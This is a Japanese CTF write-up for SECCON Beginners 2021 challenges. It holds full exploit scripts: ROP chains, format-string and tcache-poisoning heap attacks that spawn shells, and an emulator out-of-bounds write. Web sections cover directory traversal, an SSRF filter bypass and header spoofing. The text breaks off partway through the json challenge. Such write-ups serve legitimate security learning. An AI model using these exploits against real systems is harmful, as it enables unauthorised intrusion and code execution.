angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in be_angry (0x28f9)) FLAG SHOULD BE: b'ctf4b{3nc0d3_4r1thm3t1c}'
ctf4b{3nc0d3_4r1thm3t1c}
firmware [59 solved]
ファームウェアのバイナリが渡されます。
❯ file firmware.bin firmware.bin: data
Forensicsが始まりました。とりあえずstringsしてみます。
❯ strings firmware.bin O]J? 1ZTz M[yM RB=U q_FU KhEJ ) J@ VMw> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.3 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 128H272l-54.63-54.63c-6-6-14.14-9.37-22.63-9.37H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm0 272H48V112h140.12l54.63 54.63c6 6 14.14 9.37 22.63 9.37H464v224z"/></svg>-----BEGIN CERTIFICATE----- MIIBjzCCATWgAwIBAgIUf3480F3IXJJY2NXy+b9Nay33868wCgYIKoZIzj0EAwIw HTEbMBkGA1UEAwwSY2xpZW50LmV4YW1wbGUuY29tMB4XDTIxMDUwNjE2MDEyMFoX DTIxMDYwNTE2MDEyMFowHTEbMBkGA1UEAwwSY2xpZW50LmV4YW1wbGUuY29tMFkw EwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEe28MPG12OVpYZzkhAu80vq9oKX2TlmdR
なんか色々なファイルが繋がってるように見えます。binwalkで取り出してみましょう。
❯ binwalk -D=".*" firmware.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 127 0x7F Base64 standard index table 2343 0x927 Copyright string: "Copyright 2011-2021 The Bootstrap Authors" 2388 0x954 Copyright string: "Copyright 2011-2021 Twitter, Inc." 83503 0x1462F PNG image, 594 x 100, 8-bit grayscale, non-interlaced 83544 0x14658 Zlib compressed data, best compression 90593 0x161E1 ELF, 32-bit LSB shared object, ARM, version 1 (SYSV) 100906 0x18A2A Unix path: /usr/lib/gcc/arm-linux-gnueabihf/9/../../../arm-linux-gnueabihf/Scrt1.o 103485 0x1943D JPEG image data, JFIF standard 1.01 117167 0x1C9AF PEM certificate 117786 0x1CC1A HTML document header 118641 0x1CF71 HTML document footer
32bit ARMのELFファイルがありました。ARMは読めないのでGhidraでデコンパイルしてみます。
undefined8 main(void) { ... memcpy(acStack4212, "This is a IoT device made by ctf4b networks. Password authentication is required to operate.\n" ,0x5e); sVar2 = strlen(acStack4212); send(sockfd,acStack4212,sVar2,0); ... memcpy(auStack4520,&DAT_00010ea4,0xf4); sVar2 = strlen((char *)buf); if (sVar2 != 0x3d) { local_10b4 = 0x6f636e49; uStack4272 = 0x63657272; uStack4268 = 0x61702074; uStack4264 = 0x6f777373; local_10a4 = 0xa2e6472; local_10a0 = 0; // Incorrect password. sVar2 = strlen((char *)&local_10b4); send(sockfd,&local_10b4,sVar2,0); close(sockfd); } i = 0; while (i < 0x3d) { if ((uint)(buf[i] ^ 0x53) != auStack4520[i]) { local_10b4 = 0x6f636e49; uStack4272 = 0x63657272; uStack4268 = 0x61702074; uStack4264 = 0x6f777373; local_10a4 = 0xa2e6472; local_10a0 = 0; // Incorrect password. sVar2 = strlen((char *)&local_10b4); send(sockfd,&local_10b4,sVar2,0); close(sockfd); } i = i + 1; } local_10b4 = 0x72726f43; uStack4272 = 0x20746365; uStack4268 = 0x73736170; uStack4264 = 0x64726f77; local_10a4 = 0xa212121; local_10a0 = 0; // Correct password!!! sVar2 = strlen((char *)&local_10b4); send(sockfd,&local_10b4,sVar2,0); close(sockfd); } ...
怪しい処理を見つけます。
auStack4520にDAT_00010ea4を読み込み、入力 ^ 0x53と一致しているかどうか見ているようなのでDAT_00010ea4に0x53をXORすれば復元できそうです。
❯ py >>> from pwn import xor >>> xor("\x30\x27\x35\x67\x31\x28\x3a\x63\x27\x0c\x37\x36\x25\x62\x30\x36\x0c\x35\x3a\x21\x3e\x24\x67\x21\x36\x0c\x32\x3d\x32\x62\x2a\x20\x3a\x6c\x21\x36\x25\x60\x32\x62\x2c\x32\x0c\x3f\x63\x27\x0c\x3c\x35\x0c\x66\x36\x30\x21\x36\x64\x20\x2e\x59", 0x53) b'ctf4b{i0t_dev1ce_firmw4re_ana1ysi?rev3a1\x7fa_l0t_of_5ecre7s}\n'
ctf4b{i0t_dev1ce_firmw4re_ana1ysi?rev3a1\x7fa_l0t_of_5ecre7s}
ReversingよりはForensicsだと思った
pwnable
rewriter [205 solved]
... void win() { execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL); } void show_stack(unsigned long *stack); int main() { unsigned long target = 0, value = 0; char buf[BUFF_SIZE] = {0}; show_stack(buf); printf("Where would you like to rewrite it?\n> "); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; target = strtol(buf, NULL, 0); printf("0x%016lx = ", target); buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0; value = strtol(buf, NULL, 0); *(long*)target = value; } ...
─❯ nc rewriter.quals.beginners.seccon.jp 4103 [Addr] |[Value] ====================+=================== 0x00007ffc3c00def0 | 0x0000000000000000 <- buf 0x00007ffc3c00def8 | 0x0000000000000000 0x00007ffc3c00df00 | 0x0000000000000000 0x00007ffc3c00df08 | 0x0000000000000000 0x00007ffc3c00df10 | 0x0000000000000000 <- target 0x00007ffc3c00df18 | 0x0000000000000000 <- value 0x00007ffc3c00df20 | 0x0000000000401520 <- saved rbp 0x00007ffc3c00df28 | 0x00007f85e43e6bf7 <- saved ret addr 0x00007ffc3c00df30 | 0x0000000000000001 0x00007ffc3c00df38 | 0x00007ffc3c00e008 Where would you like to rewrite it? >
リターンアドレスとは、関数の終了時に呼び出し元に戻るためにスタックに積まれる、呼び出し元を指すアドレスです。
それをwin関数のアドレスに書き替えることで関数が終了したときにwin関数に飛ぶことができます。
まずradare2でwin関数のアドレスを調べます。(これくらいならobjdump+grepでいいかも)
❯ r2 chall [0x00401110]> aaa [0x00401110]> afl ... 0x004011f6 1 69 sym.win ...
win関数のアドレスがわかったので、saved ret addr
に0x004011f6
を書き込みましょう。
❯ nc rewriter.quals.beginners.seccon.jp 4103 [Addr] |[Value] ====================+=================== 0x00007ffcbc6f3450 | 0x0000000000000000 <- buf 0x00007ffcbc6f3458 | 0x0000000000000000 0x00007ffcbc6f3460 | 0x0000000000000000 0x00007ffcbc6f3468 | 0x0000000000000000 0x00007ffcbc6f3470 | 0x0000000000000000 <- target 0x00007ffcbc6f3478 | 0x0000000000000000 <- value 0x00007ffcbc6f3480 | 0x0000000000401520 <- saved rbp 0x00007ffcbc6f3488 | 0x00007fee46f82bf7 <- saved ret addr 0x00007ffcbc6f3490 | 0x0000000000000001 0x00007ffcbc6f3498 | 0x00007ffcbc6f3568 Where would you like to rewrite it? > 0x00007ffcbc6f3488 0x00007ffcbc6f3488 = 0x004011f6 [Addr] |[Value] ====================+=================== 0x00007ffcbc6f3450 | 0x3131303430307830 <- buf 0x00007ffcbc6f3458 | 0x34336636000a3666 0x00007ffcbc6f3460 | 0x00000000000a3838 0x00007ffcbc6f3468 | 0x0000000000000000 0x00007ffcbc6f3470 | 0x00000000004011f6 <- target 0x00007ffcbc6f3478 | 0x00007ffcbc6f3488 <- value 0x00007ffcbc6f3480 | 0x0000000000401520 <- saved rbp 0x00007ffcbc6f3488 | 0x00000000004011f6 <- saved ret addr 0x00007ffcbc6f3490 | 0x0000000000000001 0x00007ffcbc6f3498 | 0x00007ffcbc6f3568 ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
beginners_rop [75 solved]
#include <stdio.h> #include <unistd.h> char *gets(char *s); int main() { char str[0x100]; gets(str); puts(str); } __attribute__((constructor)) void setup() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); }
gets関数を使うとバッファより大きい文字列を読み込ませることができるので、バッファオーバーフロー(BOF)の脆弱性があります。
ROPをします。puts関数でputs@gotを出力してlibc leakをし、stack pivotしてgetsで再度ROPします。(コンテスト中は脳死で書いてましたがstack pivotじゃなくてmainに戻る方が楽です)
最初はsystem("/bin/sh")をしたんですがうまく動かないのでexecve("/bin/sh", NULL, NULL)にしました。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./chall" # libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = "./libc-2.27.so" nc = "nc beginners-rop.quals.beginners.seccon.jp 4102" command = ''' b *0x004011c9 c ''' chall = ELF(file) libc = ELF(libc) io = get_io() pop_rdi = 0x0000000000401283 leave_ret = 0x00000000004011c8 ret = 0x000000000040101a bss_buf = 0x404800 payload = b"A" * 0x100 payload += p64(bss_buf) payload += p64(pop_rdi) payload += p64(chall.got["puts"]) payload += p64(chall.sym["puts"]) payload += p64(pop_rdi) payload += p64(bss_buf) payload += p64(chall.sym["gets"]) payload += p64(leave_ret) io.sendline(payload) io.recvuntil("AAAA") io.recvline() libc_leak = u64(io.recvline().rstrip().ljust(8, b"\x00")) libc.address = libc_leak - libc.sym["puts"] log.info(f"libc: {libc.address:x}") pop_rax = libc.address + 0x0000000000043ae8 pop_rsi = libc.address + 0x0000000000023eea pop_rdx = libc.address + 0x0000000000001b96 syscall = libc.address + 0x00000000000013c0 payload = p64(0) payload += p64(pop_rsi) payload += p64(0) payload += p64(pop_rdx) payload += p64(0) payload += p64(pop_rax) payload += p64(0x3b) payload += p64(pop_rdi) payload += p64(next(libc.search(b"/bin/sh\x00"))) payload += p64(syscall) io.sendline(payload) io.interactive()
ctf4b{H4rd_ROP_c4f3}
なるべく初心者に優しい解説にしたかったが、解法がクソなためできない...
uma_catch [30 solved]
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> void catch(); void naming(); void show(); void dance(); void release(); int read_int(); struct hourse { char name[0x20]; void (*dance)(); }; struct hourse *list[10] = {NULL}; int main() { int cmd; puts("-*-*-*-*-"); puts("UMA catch"); puts("-*-*-*-*-"); puts(""); puts("Commands"); puts("1. catch hourse"); puts("2. naming hourse"); puts("3. show hourse"); puts("4. dance"); puts("5. release hourse"); puts("6. exit"); while (1) { puts(""); printf("command?\n> "); cmd = read_int(); switch (cmd) { case 1: catch(); break; case 2: naming(); break; case 3: show(); break; case 4: dance(); break; case 5: release(); break; case 6: exit(0); default: break; } } } int read_int() { char buf[0x10]; buf[read(0, buf, 0xf)] = 0; return atoi(buf); } void bay_dance() { (馬が踊る様子が出力される) } void chestnut_dance() { (馬が踊る様子が出力される) } void gray_dance() { (馬が踊る様子が出力される) } int get_index() { printf("index?\n> "); return read_int(); } void show() { printf(list[get_index()]->name); } void catch() { int i = get_index(); list[i] = malloc(sizeof(struct hourse)); while (1) { printf("color?(bay|chestnut|gray)\n> "); char buf[10]; buf[read(0, buf, 9)] = 0; if (strncmp(buf, "bay", 3) == 0) { list[i]->dance = bay_dance; break; } if (strncmp(buf, "chestnut", 8) == 0) { list[i]->dance = chestnut_dance; break; } if (strncmp(buf, "gray", 4) == 0) { list[i]->dance = gray_dance; break; } } } void dance() { int i = get_index(); list[i]->dance(); } void naming() { int i = get_index(); printf("name?\n> "); fgets(list[i]->name, 0x20, stdin); } void release() { free(list[get_index()]); }
馬を捕まえたり名前をつけたりリリースしたり踊らせたりできるプログラムです。releaseでfreeしたポインタに対してnamingで書き込めるUse after freeの脆弱性があります。また、showでユーザーの入力をそのままprintfの書式指定子として渡しているFormat String Bugの脆弱性もあります。
FSBでアドレスをleakしてからtcache poisoningをすれば良さそうです。
(参考: https://furutsuki.hatenablog.com/entry/2019/02/26/112207)
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./chall" # libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = "./libc-2.27.so" nc = "nc uma-catch.quals.beginners.seccon.jp 4101" command = ''' b *show+47 b *release+42 b *catch+45 b *naming+88 c ''' chall = ELF(file) libc = ELF(libc) io = get_io() def catch(idx, dance): io.sendlineafter("command?\n> ", "1") io.sendlineafter("index?\n> ", str(idx)) io.sendlineafter("color?(bay|chestnut|gray)\n> ", dance) def naming(idx, name): io.sendlineafter("command?\n> ", "2") io.sendlineafter("index?\n> ", str(idx)) io.sendlineafter("name?\n> ", name) def show(idx): io.sendlineafter("command?\n> ", "3") io.sendlineafter("index?\n> ", str(idx)) return io.recvline() def dance(idx): io.sendlineafter("command?\n> ", "4") io.sendlineafter("index?\n> ", str(idx)) def free(idx): io.sendlineafter("command?\n> ", "5") io.sendlineafter("index?\n> ", str(idx)) fsb_base = 6 catch(0, "bay") # Format String Attackでスタックからlibcとbinaryのアドレスをleak naming(0, "%6$p|%7$p|%11$p") leak = show(0).split(b"|") chall.address = int(leak[1][2:], 16) - (chall.sym["main"]+262) log.info(f"bin: {chall.address:x}") libc.address = int(leak[2][2:], 16) - (libc.sym["__libc_start_main"]+231) log.info(f"libc: {libc.address:x}") catch(1, "bay") free(0) free(1) # tcache -> 1 -> 0 # tcacheからheapのアドレスをleak heap_base = u64(show(1).rstrip().ljust(8, b"\x00")) - 608 log.info(f"heap: {heap_base:x}") # tcacheの単方向リストを書き替える (double free検知回避のためにtcache keyも入れておく) naming(1, p64(libc.sym["__free_hook"]) + p64(heap_base + 16)) # tcache -> 1 -> __free_hook catch(2, "bay") # tcache -> __free_hook catch(3, "bay") # 3に__free_hookが入る # __free_hookにsystemを入れる naming(3, p64(libc.sym["system"])) naming(2, b"/bin/sh\x00") # system("/bin/sh") free(2) io.interactive()
ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck}
2021_emulator [13 solved]
ソースコードの量がちょっと多いです。
#include "instruction.h" #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <err.h> void print_banner(); int main() { struct emulator *emu = calloc(sizeof(struct emulator), 0); init_instructions(emu); print_banner(); puts("loading to memory..."); load_to_mem(&emu->memory, stdin); puts("running emulator..."); while (1) { uint8_t pc = get_mem_pc(emu); emu->instructions[pc](emu); inc_pc(emu); } } void print_banner() { system("cat banner.txt"); }
#include <stdint.h> #include <stdio.h> #include <stddef.h> #include <stdlib.h> enum { A, B, C, D, E, H, L, PC_H, PC_L, SP_H, SP_L, FLAG, REGISTERS_COUNT, PC = PC_H, SP = SP_H, HL = H, M }; struct emulator { uint8_t registers[REGISTERS_COUNT]; uint8_t memory[0x4000]; void (*instructions[0xFF])(struct emulator*); }; typedef void instruction_t(struct emulator *); void load_to_mem(struct emulator *emu, FILE *f) { char c; for(int i = 0, c = fgetc(f); c != EOF && i < 0x4000; i++, c = fgetc(f)) { emu->memory[i] = c; if (c == 0xC9) break; } } ... uint16_t get_hl(struct emulator *e) { uint16_t ret = 0; ret |= (e->registers[H] << 8); ret |= e->registers[L]; return ret; } ... uint8_t get_mem_pc(struct emulator *e) { return e->memory[get_pc(e)]; } uint8_t get_m(struct emulator *e) { return e->memory[get_hl(e)]; } void inc_pc(struct emulator *e) { if (e->registers[PC_L] == 0xFF) { e->registers[PC_L] = 0; e->registers[PC_H]++; } else { e->registers[PC_L]++; } }
#include "emulator.h" #include <string.h> char read_byte_pc(struct emulator *emu) { return emu->memory[emu->registers[PC]++]; } static void nop(struct emulator *emu) { emu->registers[A] = emu->registers[A]; } static void mov_r_r(struct emulator *emu, uint8_t r1, uint8_t r2) { if (r2 == M) emu->registers[r1] = get_m(emu); else if (r1 == M) emu->memory[get_hl(emu)] = emu->registers[r2]; else emu->registers[r1] = emu->registers[r2]; } static void hlt(struct emulator *emu) { printf("sorry I can't halt...\n"); } static void mvi(struct emulator *emu) { uint8_t pc = get_mem_pc(emu); inc_pc(emu); switch (pc) { case 0x06: emu->registers[B] = get_mem_pc(emu); break; ... emu->registers[H] = get_mem_pc(emu); break; case 0x2E: emu->registers[L] = get_mem_pc(emu); break; case 0x36: emu->memory[get_hl(emu)] = get_mem_pc(emu); break; case 0x3E: emu->registers[A] = get_mem_pc(emu); break; default: fprintf(stderr, "NOT IMPLEMENTED!!!!\n"); exit(1); } } static void mov(struct emulator *emu) { uint8_t pc = get_mem_pc(emu); switch (pc) { case 0x40: mov_r_r(emu, B, B); break; case 0x41: mov_r_r(emu, B, C); break; ... case 0x7F: mov_r_r(emu, A, A); default: fprintf(stderr, "NOT IMPLEMENTED!!!!\n"); exit(1); } } static void ret(struct emulator *emu) { printf("A register is %d !\n", emu->registers[A]); puts("bye"); exit(0); } void init_instructions(struct emulator *emu) { for (int i = 0; i <= 0xFF; i++) emu->instructions[i] = nop; for (int i = 0x40; i < 0x80; i++) emu->instructions[i] = mov; for (int i = 0x06; i < 0x3F; i+=8) emu->instructions[i] = mvi; emu->instructions[0x76] = hlt; emu->instructions[0xC9] = ret; }
❯ checksec chall [*] '/mnt/c/Users/shinji/MyFiles/CTF/ctf4b2021/2021_emulator/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Intel 8080の一部の命令を実装したエミュレータが与えられます。脆弱性はmviのここです。
case 0x36: emu->memory[get_hl(emu)] = get_mem_pc(emu); break;
get_hlはHレジスタとLレジスタを繋げた2byteの数値を返しますが、エミュレータのメモリは0x4000 byteしかありません。
struct emulator { uint8_t registers[REGISTERS_COUNT]; uint8_t memory[0x4000]; void (*instructions[0xFF])(struct emulator*); };
そのためその後に続く関数ポインタ配列であるinstructionを書き替えることができます。今回はNo PIEなのでsystem@pltを書き込み、emulatorのメモリの冒頭に配置されるレジスタが/bin/sh
となるように操作すればemu->instructions[pc](emu);
でsystem("/bin/sh")
が動きます。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./chall" # libc = "/lib/x86_64-linux-gnu/libc.so.6" # libc = "./libc.so.6" nc = "nc emulator.quals.beginners.seccon.jp 4100" command = ''' set follow-fork-mode parent b *0x00401610 b system c ''' chall = ELF(file) io = get_io() shellcode = b"" def write(addr, val): global shellcode # 知らんけどオフセットが少しずれてる addr += 0x4 shellcode += b"\x26" + p16(addr)[1:] shellcode += b"\x2e" + p16(addr)[:1] shellcode += b"\x36" + p8(val) # \x00の命令にsystemを書き込む for i, c in enumerate(p64(chall.plt["system"])): write(0x4000 + i, c) shellcode += b"\x3e" + b"/" # A shellcode += b"\x06" + b"b" # B shellcode += b"\x0e" + b"i" # C shellcode += b"\x16" + b"n" # D shellcode += b"\x1e" + b"/" # E shellcode += b"\x26" + b"s" # H shellcode += b"\x2e" + b"h" # L shellcode += b"\x00\xc9" io.send(shellcode) io.interactive()
ctf4b{Y0u_35c4p3d_fr0m_3mul4t0r}
freeless [12 solved]
#include <unistd.h> #include <stdlib.h> #include <string.h> #define MAX_NOTE 0x10 char *note[MAX_NOTE]; void readline(char *buf) { char c; while ((read(0, &c, 1) == 1) && c != '\n') *(buf++) = c; } void print(const char *msg) { if (write(1, msg, strlen(msg)) < 0) _exit(1); } int readi(void) { char buf[0x10]; if (read(0, buf, sizeof(buf)) < 0) _exit(1); return atoi(buf); } int menu(void) { print("1. new\n2. edit\n3. show\n> "); return readi(); } int main() { unsigned int idx, size; while (1) { switch (menu()) { case 1: print("index: "); idx = (unsigned int)readi(); if (idx >= MAX_NOTE || note[idx]) { print("[-] invalid index\n"); } else { print("size: "); size = (unsigned int)readi(); if (size >= 0x1000) { print("[-] size too big\n"); } else { note[idx] = (char*)malloc(size); } } break; case 2: print("index: "); idx = (unsigned int)readi(); if (idx >= MAX_NOTE || note[idx] == NULL) { print("[-] invalid index\n"); } else { print("data: "); readline(note[idx]); } break; case 3: print("index: "); idx = (unsigned int)readi(); if (idx >= MAX_NOTE || note[idx] == NULL) { print("[-] invalid index\n"); } else { print("data: "); print(note[idx]); print("\n"); } break; default: print("[+] bye"); _exit(0); } } }
いつものnote形式のheap問ですが、freeできる機能がありません。脆弱性はreadline関数のBOFです。
BOFでtop chunkのsizeを書き替えられるのでHouse of Orangeでしょう。top chunk sizeを超えたmallocをするときはmmapで新たに領域を確保してそこから切り出すのですが、元のtop chunkが無駄になるのでこのときにtop chunkに対して_int_free
が呼ばれます。(参考: https://ptr-yudai.hatenablog.com/entry/2019/10/12/181931)
mallocできるサイズに制限はありますが、top chunk sizeを小さく書き替えて複数回に分けてmallocすれば問題ありません。まずtop chunkをunsorted binとtcacheに入れてlibcとheapをleakし、tcache poisoningで__malloc_hook
にone gadgetを入れれば良さそうです。しかし、one gadgetが通りませんでした。
そのため__libc_argv
からstack leakをしてrspを計算し、ROPしました。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./chall" # libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = "./libc-2.31.so" nc = "nc freeless.quals.beginners.seccon.jp 9077" # # b *main+162 # b *main+304 command = ''' b *main c b *__run_exit_handlers+214 ''' chall = ELF(file) libc = ELF(libc) io = get_io() def new(idx, size): io.sendlineafter("> ", "1") io.sendlineafter("index: ", str(idx)) if isinstance(size, int): io.sendlineafter("size: ", str(size)) else: io.sendlineafter("size: ", size) def edit(idx, data): io.sendlineafter("> ", "2") io.sendlineafter("index: ", str(idx)) io.sendlineafter("data: ", data) def show(idx): io.sendlineafter("> ", "3") io.sendlineafter("index: ", str(idx)) return io.recvline()[len("data: "):] new(0, 0x18) edit(0, b"A" * 0x18 + p64(0xd51)) new(1, 0xd50 - 0x50) new(2, 0x100) # free edit(2, b"A" * 0x108 + p64(0xef1)) new(3, 0xef0 - 0x50) new(4, 0x100) # free edit(3, b"A" * (3752 + 8)) heap_base = u64(show(3)[-7:].rstrip().ljust(8, b"\x00")) - 0xfd0 log.info(f"heap: {heap_base:x}") edit(4, b"A" * 0x108 + p64(0xef1)) new(5, 0xef0 - 0x600) new(6, 0x600) # free edit(5, b"A" * 2304) libc.address = u64(show(5)[-7:].rstrip().ljust(8, b"\x00")) - 0x1ebbe0 log.info(f"libc: {libc.address:x}") edit(5, b"A" * (2304 - 8) + p64(0x5d1)) # new(15, 0x5c0) # tcache poisoning edit(3, b"A" * (3752) + p64(0x21) + p64(heap_base + 0x10) + p64(heap_base + 0x10)) new(7, 0x18) new(8, 0x18) edit(8, p64(0xff) + p64(0) * 15 + p64(libc.address + 0x1f0e70)) new(9, 0x18) argv = u64(show(9)[-7:].rstrip().ljust(8, b"\x00")) log.info(f"argv: {argv:x}") rsp = argv - 272 edit(8, p64(0xff) + p64(0) * 15 + p64(rsp)) new(10, 0x18) pop_rdi = 0x0000000000026b72 ret = 0x0000000000025679 payload = p64(libc.address + pop_rdi) payload += p64(next(libc.search(b"/bin/sh\x00"))) payload += p64(libc.address + ret) payload += p64(libc.sym["system"]) print(payload) edit(10, payload) io.interactive()
ctf4b{sysmalloc_wh4t_R_U_d01ng???}
公式Writeupではone gadget使ってたんですが、one_gadgetのバージョンを挙げて-l 1
を付ければ出てきました。アップデートは、定期的にしよう!
web
osoba [649 solved]
お蕎麦に関する情報が見れるサイトです。URLを見ると/?page=public/kikin.html
となっているし、/flag
にフラグがあると問題文で言われているので恐らく典型的なディレクトリトラバーサルでしょう。
/?page=../../../../flag
で適当に親ディレクトリを辿っていくとフラグが手に入ります。
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
Werewolf [311 solved]
import os import random from flask import Flask, render_template, request, session # ==================== app = Flask(__name__) app.FLAG = os.getenv("CTF4B_FLAG") # ==================== class Player: def __init__(self): self.name = None self.color = None self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN']) # :-) # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF']) @property def role(self): return self.__role # :-) # @role.setter # def role(self, role): # self.__role = role # ==================== @app.route("/", methods=["GET", "POST"]) def index(): if request.method == 'GET': return render_template('index.html') if request.method == 'POST': player = Player() for k, v in request.form.items(): player.__dict__[k] = v return render_template('result.html', name=player.name, color=player.color, role=player.role, flag=app.FLAG if player.role == 'WEREWOLF' else '' ) # ==================== if __name__ == '__main__': app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
player.role
がWEREWOLF
になれば勝ちです。気になるのはplayer.__dict__[k] = v
で、kに__role
、vにWEREWOLF
を入れれば良さそうです。
>>> re.search("ctf4b{[\x20-\x7f]+}", requests.post("https://werewolf.quals.beginners.seccon.jp/", data={"name": "hoge", "color": "red", "__role": "WEREWOLF"}).text) >>>
駄目でした。挙動を実際に確認してみます。
import random class Player: def __init__(self): self.name = None self.color = None self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN']) # :-) # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF']) @property def role(self): return self.__role # :-) # @role.setter # def role(self, role): # self.__role = role print(Player().__dict__) # => {'name': None, 'color': None, '_Player__role': 'KNIGHT'}
どうやら__Player_role
がキーになっているようです。直してリクエストを送るとフラグが得られました。
>>> re.search("ctf4b{[\x20-\x7f]+}", requests.post("https://werewolf.quals.beginners.seccon.jp/", data={"name": "hoge", "color": "red", "_Player__role": "WEREWOLF"}).text) <re.Match object; span=(882, 923), match='ctf4b{there_are_so_many_hackers_among_us}'>
ctf4b{there_are_so_many_hackers_among_us}
check_url [232 solved]
<!-- HTML Template --> <?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){ echo "Hi, Admin or SSSSRFer<br>"; echo "********************FLAG********************"; }else{ echo "Here, take this<br>"; $url = $_GET["url"]; if ($url !== "https://www.example.com"){ $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing } if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){ die("do not hack me!"); } echo "URL: ".$url."<br>"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); echo "<iframe srcdoc='"; curl_exec($ch); echo "' width='750' height='500'></iframe>"; curl_close($ch); } ?> <!-- HTML Template -->
curlでhttp(s)を叩けるサイトです。SSRFで自分(127.0.0.1
)にリクエストできればフラグが得られるようですが、localhost
は使えませんし.
が👻
に変換されてしまうので127.0.0.1
も通りません。
PayloadAllTheThingsでペイロードを試してみても何故かBad Requestになって通りません。(恐らくapache側の問題でしょう)
SSRFのペイロードを調べているとWeb-CTF-Cheatsheetのhttp://0x7f000001/
が通りました。
ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
json [204 solved]
社内システムのサイトで、192.168.111.0/24
からしかアクセスできないようになっています。サーバーはnginx->bff->apiという構成になっています。
nginxのdefault.confを見てみるとX-Forwarded-For
の文字が見えます。
server { listen 80; listen [::]:80; server_name localhost; location / { proxy_pass http://bff:8080; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } }
ためしにX-Forwarded-For: 192.168.111.1
をヘッダに設定してアクセスするとバイパスできました。
bffの処理を見てみます。
package main import ( "bytes" "encoding/json" "io/ioutil" "net" "net/http" "github.com/gin-gonic/gin" ) type Info struct { ID int `json:"id" binding:"required"` } ... func main() { r.POST("/", func(c *gin.Context) { ... // parse json var info Info if err := json.Unmarshal(body, &info); err != nil { c.JSON(400, gin.H{"error": "Invalid parameter."}) return } // validation if info.ID < 0 || info.ID > 2 { c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."}) return } if info.ID == 2 { c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."}) return } // get data from api server req, err := http.NewRequest("POST", "http://api:8000", bytes.NewReader(body)) if err != nil { c.JSON(400, gin.H{"error": "Failed to request API."}) return } req.Header.Set("Content-Type", "application/json") client := new(http.Client) resp, err := client.Do(req) ... result, err := ioutil.ReadAll(resp.Body) ... c.JSON(200, gin.H{"result": string(result)}) }) ... }
JSONをPOSTされた場合、IDが0,1ならapiを叩いて結果を返し、IDが2なら拒否するような処理をしているようです。apiの方も見てみます。
